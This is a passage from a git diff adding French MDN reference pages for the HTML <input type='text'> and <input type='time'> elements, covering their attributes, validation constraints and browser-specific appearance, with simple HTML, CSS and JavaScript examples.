+</div>
+
+<h2 id="Attributs_non-standard">Attributs non-standard</h2>
+
+<p>Les attributs non-standard suivant sont disponibles pour les champs textuels mais devraient ne pas être utilisés.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Une chaîne de caractères qui indique si la correction automatique doit être appliquée à ce champ texte. <strong>Uniquement pris en charge par Safari.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'action qui sera effectuée lorsque l'utilisateur appuiera sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> lors de l'édition du champ. La valeur de cet attribut est utilisée comme libellé pour la touche adéquate du clavier virtuel. <strong>Uniquement pris en charge par Firefox pour Android.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(autocorrect)_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<div id="autocorrect-include">
+<p>Un attribut spécifique à Safari, sous la forme d'une chaîne de caractères, qui indique si la correction automatique doit être appliquée lors de l'édition du champ. Les valeurs autorisées pour cet attribut sont :</p>
+
+<dl>
+ <dt><code>on</code></dt>
+ <dd>La correction automatique et les remplacements de texte sont appliqués.</dd>
+ <dt><code>off</code></dt>
+ <dd>Toute correction automatique et tout remplacement de texte est désactivé.</dd>
+</dl>
+</div>
+
+<h3 id="htmlattrdef(mozactionhint)_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<div id="mozactionhint-include">
+<p>Un attribut spécifique à Mozilla (et plus particulièrement Firefox pour Android) qui fournit une indication quant au type d'action effectuée lorsque l'utilisateur appuie sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> lors de l'édition. Cette information pourra être utilisée afin de choisir le libellé à afficher sur la touche <kbd>Entrée</kbd> du clavier virtuel.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cet attribut <a href="https://html.spec.whatwg.org/#input-modalities:-the-enterkeyhint-attribute">a été standardisé</a> sous l'attribut universel {{htmlattrxref("enterkeyhint")}} mais ce dernier n'est pas encore largement implémenté. Pour connaître le statut du changement d'implémentation pour Firefox, voir {{bug(1490661)}}.</p>
+</div>
+
+<p>Les valeurs autorisées pour cet attribut sont : <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code> et <code>send</code>. Le navigateur décide alors, selon la valeur, quel libellé utiliser pour la touche Entrée.</p>
+</div>
+
+<h2 id="Utiliser_&lt;input_typetext>">Utiliser <code>&lt;input type="text"&gt;</code></h2>
+
+<p>Les éléments <code>&lt;input&gt;</code> de type <code>text</code> sont utilisés pour créer des champs texte sur une seule ligne. Ils doivent être utilisés lorsqu'on souhaite saisir du texte sur une ligne et qu'il n'existe pas de meilleur contrôle disponible pour la valeur (ainsi, s'il s'agit d'une <a href="/fr/docs/Web/HTML/Element/input/datetime-local">date</a>, <a href="/fr/docs/Web/HTML/Element/input/url">d'une URL</a>, <a href="/fr/docs/Web/HTML/Element/input/email">d'une adresse électronique</a> ou <a href="/fr/docs/Web/HTML/Element/input/search">d'une recherch</a>, on pourra par exemple utiliser des éléments plus pertinents).</p>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Veuillez choisir un nom d'utilisateur :&lt;/label&gt;
+    &lt;input type="text" id="uname" name="name"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Voici ce qui sera obtenu :</p>
+
+<p>{{EmbedLiveSample("Exemple_simple", 600, 50)}}</p>
+
+<p>Lorsque le formulaire est envoyé, la paire nom/valeur est envoyée au serveur sous la forme <code>uname=Chris</code> (si "Chris" était le texte qui avait été saisi avant d'envoyer le formulaire). Il faut veiller à bien avoir un attribut <code>name</code> pour l'élément <code>&lt;input&gt;</code> car sinon, rien ne sera envoyé.</p>
+
+<h3 id="Utiliser_des_textes_indicatifs_-_placeholders">Utiliser des textes indicatifs <em>- placeholders</em></h3>
+
+<p>Il est possible de fournir un texte indicatif qui sera affiché dans le champ lorsqu'aucune valeur n'a été saisi. Pour cela, on utilise l'attribut {{htmlattrxref("placeholder","input")}}. Par exemple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Veuillez choisir un nom d'utilisateur :&lt;/label&gt;
+    &lt;input type="text" id="uname" name="name"
+           placeholder="Un seul mot, en minuscules"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Voici le résultat qui sera obtenu :</p>
+
+<p>{{EmbedLiveSample("Utiliser_des_textes_indicatifs_-_placeholders", 600, 50)}}</p>
+
+<p>Le texte indicatif est généralement affiché dans une couleur plus claire que le texte qui sera saisi par l'utilisateur.</p>
+
+<h3 id="Contrôler_la_taille_physique_du_champ">Contrôler la taille physique du champ</h3>
+
+<p>La taille physique du champ de saisie peut être adaptée grâce à l'attribut {{htmlattrxref("size", "input")}}. Sa valeur correspond au nombre de caractères qui seront affichés simultanément. Voici par exemple, un fragment de code HTML où la contrôle de saisie affichera au plus 30 caractères en même temps (on pourra saisir un texte plus long mais toutes les lettres ne seront pas affichées) :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Veuillez choisir un nom d'utilisateur : &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name"
+           placeholder="Un seul mot, en minuscules"
+           size="30"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Contrôler_la_taille_physique_du_champ", 600, 50)}}</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Les éléments <code>&lt;input&gt;</code> de type <code>text</code> ne possède pas de mécanisme de validation automatique. En revanche, il est possible d'ajouter certaines contraintes qui seront vérifiées côté client et que nous allons voir ici.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il est également important de vérifier le format de la valeur saisie côté serveur ! En effet, il est tout à fait possible pour un utilisateur de modifier le code HTML du site ou d'envoyer des données au serveur sans passer par le formulaire. Il est donc nécessaire de contrôler la valeur avant de s'en servir dans la logique de l'application côté serveur afin d'éviter des conséquences malheureuses.</p>
+</div>
+
+<h3 id="Un_aparté_sur_la_mise_en_forme">Un aparté sur la mise en forme</h3>
+
+<p>Les pseudo-classes CSS {{cssxref(":valid")}} et {{cssxref(":invalid")}} sont utiles pour mettre en forme les éléments qui ne respectent pas les contraintes de validation. Dans la suite de cette section, nous utiliserons cette feuille de style afin d'afficher une coche ou une croix après les valeurs valides ou invalides.</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Comme le montrent les sélecteurs utilisés, cette technique s'appuie sur la présence d'un élément {{htmlelement("span")}} placé après le formulaire et qui joue le rôle de réceptacle pour les icônes. Cette méthode de contournement est nécessaire car certains navigateurs n'affichent pas les icônes placées directement sur les éléments de formulaire.</p>
+
+<h3 id="Rendre_la_valeur_obligatoire">Rendre la valeur obligatoire</h3>
+
+<p>On peut utiliser l'attribut {{htmlattrxref("required","input")}} afin d'indiquer que la valeur doit être remplie avant de pouvoir envoyer le formulaire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Veuillez choisir un nom d'utilisateur : &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; }</pre>
+</div>
+
+<p>Ce qui produira ce résultat :</p>
+
+<p>{{EmbedLiveSample('Rendre_la_valeur_obligatoire', 600, 70)}}</p>
+
+<p>Si vous tentez d'envoyer le formulaire sans avoir saisi de valeur dans le champ texte, le navigateur affichera un message d'erreur.</p>
+
+<h3 id="Contraindre_la_longueur_du_texte_saisi">Contraindre la longueur du texte saisi</h3>
+
+<p>Il est possible d'indiquer la longueur minimale du texte grâce à l'attribut {{htmlattrxref("minlength", "input")}}. De même, on peut utiliser l'attribut {{htmlattrxref("maxlength", "input")}} pour indiquer le nombre maximal de caractères attendus.</p>
+
+<p>Dans l'exemple suivant, pour que le texte soit valide, il faut qu'il soit plus long que 4 caractères et moins long que 8 caractères.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Choisir un nom d'utilisateur : &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required size="45"
+           placeholder="Le nom d'utilisateur doit mesurer entre 4 et 8 caractères"
+           minlength="4" maxlength="8"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; }</pre>
+</div>
+
+<p>Voici le résultat qui est alors obtenu :</p>
+
+<p>{{EmbedLiveSample('Contraindre_la_longueur_du_texte_saisi', 600, 70)}}</p>
+
+<p>Si vous essayez d'envoyer le formulaire avec un nom d'utilisateur plus court (que 4 caractères), le navigateur affichera un message d'erreur. De plus le navigateur empêchera de saisir une valeur plus longue que 8 caractères.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si on indique <code>minlength</code> mais pas <code>required</code>, la valeur saisie est considérée comme valide car l'utilisateur peut ne pas saisir de valeur.</p>
+</div>
+
+<h3 id="Contraindre_un_format_spécifique_-_expression_rationnelle"><a id="format" name="format">Contraindre un format spécifique - expression rationnelle</a></h3>
+
+<p>L'attribut {{htmlattrxref("pattern","input")}} permet d'indiquer une expression rationnelle que devra respecter la valeur saisie afin d'être valide (cf. <a href="/en-US/docs/Learn/HTML/Forms/Form_validation#Validating_against_a_regular_expression">Valider un champ par rapport à une expression rationnelle</a> pour une introduction).</p>
+
+<p>Dans l'exemple qui suit, on restreint le format du texte afin que ce soit un texte en minuscules (pour lequel seules les lettres de "a" à "z" sont autorisées) et qui mesure entre 4 et 8 caractères.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Veuillez choisir un nom d'utilisateur : &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required size="45"
+           pattern="[a-z]{4,8}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;p&gt;Un nom d'utilisateur doit être en minuscules sur 4 à 8 caractères.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+p {
+  font-size: 80%;
+  color: #999;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Voici le résultat qui sera obtenu :</p>
+
+<p>{{EmbedLiveSample("Contraindre_un_format_spécifique_-_expression_rationnelle", 600, 110)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En plus des exemples précédents, vous pouvez consulter les articles <a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Un premier formulaire en HTML</a> et <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment organiser un formulaire HTML</a>.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur contenue dans le champ texte.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("size", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#text-(type=text)-state-and-search-state-(type=search)', '&lt;input type="text"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#text-typetext-state-and-search-state-typesearch', '&lt;input type="text"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-text")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}} ainsi que l'interface DOM {{domxref("HTMLInputElement")}} qui est implémentée par cet élément.</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/search">&lt;input type="search"&gt;</a></code></li>
+ <li>{{HTMLElement("textarea")}} : un élément qui permet de saisir du texte sur plusieurs lignes</li>
+</ul>
diff --git a/files/fr/web/html/element/input/time/index.html b/files/fr/web/html/element/input/time/index.html
new file mode 100644
index 0000000000..af266f8fc7
--- /dev/null
+++ b/files/fr/web/html/element/input/time/index.html
@@ -0,0 +1,517 @@
+---
+title: <input type="time">
+slug: Web/HTML/Element/Input/time
+tags:
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/time
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{htmlelement("input")}} dont l'attribut <code>type</code> vaut <strong><code>time</code></strong> permettent de créer des contrôles où l'utilisateur peut saisir une heure (avec des minutes et éventuellement des secondes).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-time.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'interface utilisateur affichée pour le contrôle peut varier d'un navigateur à l'autre. À l'heure où nous écrivons ces lignes, seul Safari ne prend pas en charge ce type de contrôle. Pour ce dernier, l'élément sera transformé en simple <code><a href="/fr/docs/Web/HTML/Element/Input/text">&lt;input type="text"&gt;</a></code>.</p>
+
+<h2 id="Apparence">Apparence</h2>
+
+<h3 id="ChromeOpera">Chrome/Opera</h3>
+
+<p>Pour Chrome/Opera, le contrôle <code>time</code> possède deux cases permettant de saisir les heures d'une part et les minutes d'autre part (sur 12 ou 24 heures selon la locale de l'ordinateur), deux flèches pour augmenter ou réduire la valeur et une croix permettant de supprimer la valeur.</p>
+
+<p><img alt="Contrôle Chrome pour une saisie avec une locale sur 24h" src="https://mdn.mozillademos.org/files/15399/chrome-time.png" style="display: block; height: 31px; margin: 0px auto; width: 82px;"><img alt="Contrôle de Chrome pour une saisie avec une locale sur 12h" src="https://mdn.mozillademos.org/files/16417/chrome_time.PNG" style="display: block; height: 31px; margin: 0px auto; width: 82px;"></p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Pour Firefox, l'aspect du contrôle est similaire mais il ne possède pas les flèches d'incrément. L'horloge peut également s'utiliser sur un format 12 heures ou 24 heures (selon la locale du système). Un bouton rond avec une croix permet de réinitialiser la valeur du contrôle.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15403/firefox-time.png" style="display: block; height: 29px; margin: 0px auto; width: 106px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16461/firefox-time-24.png" style="display: block; height: 29px; margin: 0px auto; width: 106px;"></p>
+
+<h3 id="Edge">Edge</h3>
+
+<p>Pour Edge, le contrôle affiché est un plus élaboré : il affiche un sélecteur avec deux bandes déroulantes pour choisir l'heure et les minutes (sur 12 ou 24 heures selon la locale) :</p>
+
+<p><img alt="Contrôle Edge pour la saisie sur 24h" src="https://mdn.mozillademos.org/files/15401/edge-time.png" style="display: block; margin: 0 auto;"></p>
+
+<p><img alt="Contrôle Edge pour la saisie sur 12 heures" src="https://mdn.mozillademos.org/files/16418/edge_time.PNG" style="display: block; height: 360px; margin: 0px auto; width: 233px;"></p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur de l'heure saisie dans le contrôle. Il est possible de définir une valeur par défaut en indiquant une heure dans l'attribut {{htmlattrxref("value", "input")}} :</p>
+
+<pre class="brush: html">&lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous :&lt;/label&gt;
+&lt;input id="appt-time" type="time" name="appt-time" value="13:30"&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur', 600, 60)}}</p>
+
+<p>Il est également possible d'obtenir et de fixer l'heure en JavaScript grâce à la propriété {{domxref("HTMLInputElement.value")}}. Par exemple :</p>
+
+<pre class="brush: js">var timeControl = document.querySelector('input[type="time"]');
+timeControl.value = '15:30';</pre>
+
+<h3 id="Représentation_de_la_valeur">Représentation de la valeur</h3>
+
+<p>Attention, le format d'affichage peut être différent de la valeur exacte contenue dans l'attribut <code>value</code>. Le format d'affichage sera choisi en fonction de la locale du système d'exploitation de l'utilisateur alors que la valeur de <code>value</code> suivra toujours le format <code>hh:mm</code> (où <code>hh</code> représente les deux chiffres de l'heure sur 24 heures et où <code>mm</code> représente les deux chiffres pour les minutes). Ainsi, <code>13:30</code>, pourra être affiché sous la forme <code>1.30 PM</code> dans le contrôle mais la valeur envoyée avec le formulaire sera toujours <code>appt-time=13%3A30</code>. Pour en savoir plus, vous pouvez vous référer à <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">l'article sur les formats utilisés pour les représentations des dates et heures</a>.</p>
+
+<p>Prenons un autre exemple qui permet de voir simultanément la valeur dans le contrôle et celle stockée dans l'attribut :</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="startTime"&gt;Début : &lt;/label&gt;
+  &lt;input type="time" id="startTime"&gt;
+  &lt;p&gt;
+    Valeur stockée dans &lt;code&gt;&amp;lt;input time&amp;gt;&lt;/code&gt; :&lt;code&gt;
+            "&lt;span id="value"&gt;n/a&lt;/span&gt;"&lt;/code&gt;.
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>On utilise quelques lignes de JavaScript afin de récupérer la valeur stockée et on l'insère dans l'élément <code>&lt;span&gt;</code> du fragment HTML précédent en surveillant l'évènement {{domxref("HTMLElement/input_event", "input")}} :</p>
+
+<pre class="brush: js">var startTime = document.getElementById("startTime");
+var valueSpan = document.getElementById("value");
+
+startTime.addEventListener("input", function() {
+  valueSpan.innerText = startTime.value;
+}, false);</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Représentation_de_la_valeur", 600, 80)}}</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>"time"</code> gèrent les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>L'heure la plus tardive qui est accepté, au format <code>"hh:mm"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>L'heure la plus tôt qui est acceptée au format <code>"hh:mm"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui, lorsqu'il est présent, indique que le contenu du champ ne peut pas être édité par l'utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas à utiliser pour l'incrément quand on utilise les boutons d'augmentation/diminution. Cet incrément est également utilisé pour la validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note"><strong>Note :</strong> À la différence d'autres types de donnée, les valeurs pour les heures sont sur un domaine <strong>périodique</strong>. Cela signifie qu'une fois la valeur maximale dépassée, on revient à la valeur minimale (autrement dit, on fait le tour de l'horloge). Ainsi, si on indique <code>min</code> avec la valeur <code>"14:00"</code> et <code>max</code> avec la valeur <code>"2:00"</code>, cela signifie que les valeurs autorisées sont comprises entre 2 heures de l'après-midi et jusqu'à 2 heures du matin le jour suivant.</div>
+
+<h3 id="htmlattrdef(max)">{{htmlattrdef("max")}}</h3>
+
+<p>Une chaîne de caractères, au format <code>"hh:mm"</code>, qui indique l'heure la plus tardive qui est considérée comme valide. Si la chaîne fournie n'est pas valide, aucun maximum n'est défini.</p>
+
+<h3 id="htmlattrdef(min)">{{htmlattrdef("min")}}</h3>
+
+<p>Une chaîne de caractères, au format <code>"hh:mm"</code>, qui indique l'heure la plus tôt qui est considérée comme valide. Si la chaîne fournie n'est pas valide, aucun minimum n'est défini.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdef(step)">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Pour les champs de type <code>time</code>, la valeur de l'attribut <code>step</code> est exprimée en secondes (avec un facteur de multiplication de 1000). Par défaut, la valeur de l'incrément est 60, ce qui correspond à 1 minute.</p>
+
+<p><em>À l'heure où ces lignes sont écrites, la signification de la valeur <code>"any"</code> pour l'attribut <code>step</code> pour les champs <code>time</code> n'est pas certaine. Cette information sera mise à jour dès que possible.</em></p>
+
+<h2 id="Utiliser_&lt;input_typetime>">Utiliser <code>&lt;input type="time"&gt;</code></h2>
+
+<p>Ces champs de saisie peuvent sembler pratiques : ils fournissent simplement une interface utilisateur pour sélectionner ds heures et normalisent les données dans un format (indépendant de la locale de l'utilisateur) avant de l'envoyer au serveur. Toutefois, quelques écueils peuvent apparaître en raison de la prise en charge hétérogène des différents navigateurs.</p>
+
+<p>Dans la suite de cet article, nous verrons des cas d'utilisation simples puis complexes autour de <code>&lt;input type="time"&gt;</code> puis nous verrons comment gérer l'absence de prise en charge des navigateur avec un exemple plus développé.</p>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<p>Dans sa forme la plus simple, <code>&lt;input type="time"&gt;</code> n'est accompagné que d'un élément {{htmlelement("label")}} :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous : &lt;/label&gt;
+  &lt;input id="appt-time" type="time" name="appt-time"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Utilisation_simple', 600, 40)}}</p>
+
+<h3 id="Ajuster_la_taille_du_contrôle">Ajuster la taille du contrôle</h3>
+
+<p><code>&lt;input type="time"&gt;</code> ne prend pas en charge d'attribut qui permette de le dimensionner (à la façon de {{htmlattrxref("size", "input")}}). Il faut donc utiliser <a href="/fr/docs/Web/CSS">CSS</a> si besoin.</p>
+
+<h3 id="Utiliser_step">Utiliser <code>step</code></h3>
+
+<p>L'attribut {{htmlattrxref("step", "input")}} peut être utilisé afin de faire varier l'incrément de temps lorsqu'on passe d'une valeur à la suivante ou à la précédente. Attention toutefois, cela n'est pas pris en charge ou homogène parmi les différents navigateurs.</p>
+
+<p>La valeur de cet attribut est un entier exprimant le nombre de secondes à incrémenter. Si on choisit une valeur inférieure à 60 secondes (c'est-à-dire 1 minute), le contrôle <code>time</code> affichera alors une troisième section pour les secondes après les heures et les minutes:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous : &lt;/label&gt;
+  &lt;input id="appt-time" type="time" name="appt-time" step="2"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Utiliser_step", 600, 40)}}</p>
+
+<p>Cependant, cela ne semble avoir un effet prévisible que pour Chrome/Opera qui sont les deux navigateurs à posséder des flèches d'incrément. Avant l'exemple précédent, cliquer sur le flèche augmentera/réduira l'heure de deux secondes (si on souhaite manipuler des minutes, il faudra multiplier par 60 et de même pour les heures : un incrément de 120 correspondra à 2 minutes et un incrément de 7200 correspondra à 2 heures).</p>
+
+<p>Cet attribut semble n'avoir aucun impact pour Firefox ou Edge voire empêche la validation de fonctionner (voir la prochaine section).</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Par défaut <code>&lt;input type="time"&gt;</code> ne valide pas les valeurs saisies. En effet, l'interface utilisateur ne permet de choisir une valeur exotique (par exemple 36:87).</p>
+
+<h3 id="Indiquer_une_heure_maximale_et_minimale">Indiquer une heure maximale et minimale</h3>
+
+<p>Les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent de réduire la plage horaire valide pendant laquelle l'utilisateur peut sélectionner une heure. Dans l'exemple suivant, l'utilisateur peut saisir une heure minimum de <code>12:00</code> et une heure maximum de <code>18:00</code>:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous (heures d'ouverture 12:00 à 18:00) : &lt;/label&gt;
+  &lt;input id="appt-time" type="time" name="appt-time"
+         min="12:00" max="18:00"&gt;
+  &lt;span class="validity"&gt;&lt;/span&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Indiquer_une_heure_maximale_et_minimale', 600, 40)}}</p>
+
+<p>Voici la feuille de style CSS utilisée dans l'exemple précédent. On utilise les pseudos-classes {{cssxref(":valid")}} et {{cssxref(":invalid")}} afin de mettre en forme le contrôle selon que la valeur saisie est valide ou non. Les icônes qui indiquent cette validité ont été placées dans un élément {{htmlelement("span")}} à part car Chrome ne permet pas de placer du contenu généré dans le contrôle.</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Avec ce fragment de code HTML :</p>
+
+<ul>
+ <li>Seules les heures comprises entre 12:00 et 18:00 sont affichées comme étant valides (les heures avant et après seront invalides).</li>
+ <li>Selon le navigateur utilisé, il peut même être impossible de sélectionner une heure en dehors de la plage restreinte (avec Edge notamment).</li>
+</ul>
+
+<h3 id="Rendre_la_saisie_obligatoire">Rendre la saisie obligatoire</h3>
+
+<p>On peut également utiliseer l'attribut {{htmlattrxref("required", "input")}} afin que la saisie du champ soit obligatoire. Lorsque c'est le cas, les navigateurs afficheront un message d'erreur si l'utilisateur tente d'envoyer le formulaire sans avoir saisi de valeur (ou si celle-ci est en dehors de la plage indiquée).</p>
+
+<p>Prenons l'exemple suivant qui restreint la plage horaire sélectionnable et qui rend le champ obligatoire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
